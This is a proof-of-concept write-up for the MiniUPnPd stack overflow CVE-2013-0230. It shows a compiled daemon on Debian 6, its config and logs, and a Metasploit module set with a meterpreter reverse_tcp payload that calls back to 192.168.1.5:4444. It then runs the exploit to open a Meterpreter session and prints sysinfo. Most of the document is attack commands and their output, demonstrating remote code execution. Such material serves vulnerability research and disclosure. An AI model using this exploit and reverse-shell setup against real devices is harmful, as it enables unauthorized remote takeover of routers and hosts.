Module cve 2013 0230

# MiniUPnPd Stack Overflow PoC


We compiled the MiniUPnPd on a Debian 6 system, which is why we'll present some of the operating system statistics as PoC of the working exploit.

Let's first present the contents of the /etc/issue command, which should prove that we're on the Debian 6.0 system:

> cat /etc/issue
>Debian GNU/Linux 6.0 \n \l

To start the compiled version of MiniUPnPd, we used the following command:

> miniupnpd -f miniupnpd.conf -d

The miniupnpd.conf configuration file that we specified on the command above, is presented below:

> cat miniupnpd.conf
ext_ifname=eth0
listening_ip=192.168.1.2
port=8080
enable_natpmp=no
secure_mode=yes

Let's now actually start the MiniUPnPd daemon and see what happens:

> miniupnpd -f miniupnpd.conf -d
Reading configuration from file miniupnpd.conf
miniupnpd[24934]: HTTP listening on port 8080
miniupnpd[24934]: HTTP connection from 192.168.1.3:15955
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)
miniupnpd[24934]: HTTP connection from 192.168.1.4:56240
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)

When the daemon starts, it starts listening on port 8080 for HTTP SOAP messages. We can also see that two devices already contacted the HTTP SOAP service for the rootDesc.xml file.

Let's now exploit the vulnerable daemon by using the MiniUPnPd exploit accessible in appendix A. Before triggering the exploits, it's options are as follows:



> msf  exploit(upnp) > show options
>
>Module options (exploit/linux/misc/upnp):
>
>   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.1.2     yes       The target address
   RPORT    8080             yes       The target port
   VHOST                     no        HTTP server virtual host


>Payload options (linux/x86/meterpreter/reverse_tcp):
>
>   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST         192.168.1.5     yes       The listen address
   LPORT         4444             yes       The listen port
   PrependFork                    no        Add a fork() / exit_group() (for parent) code


>Exploit target:
>
>   Id  Name
   --  ----
   0   Debian GNU/Linux 6.0



We can see that the exploit actually sends the payload to the host 192.168.1.2 on port 8080 and the payload connects back to the 192.168.1.5 on port 4444. The payload used is  linux/x86/meterpreter/reverse_tcp, but can as easily be any other like generic/shell_reverse_tcp payload. When we execute the 'exploit' command, the exploit will be sent and we'll get the reverse Meterpreter shell:


>msf  exploit(upnp) > exploit
>
>[*] Started reverse handler on 192.168.1.5:4444
[*] Sending exploit to victim Debian GNU/Linux 6.0 at ...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.2
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.2:46651) at 2013-03-28 09:57:57 +0100
>
>meterpreter >


Let's also present what gets printed by the MiniUPnPd daemon:




Cool, the exploit is working and we've successfully gotten a shell. To prove it a little further let's also print the sysinfo command in Meterpreter shell to see that we're actually on the Debian system:


> meterpreter > sysinfo
Computer     : debian
OS           : Linux debian 2.6.32-5-686 #1 SMP Mon Feb 25 01:04:36 UTC 2013 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >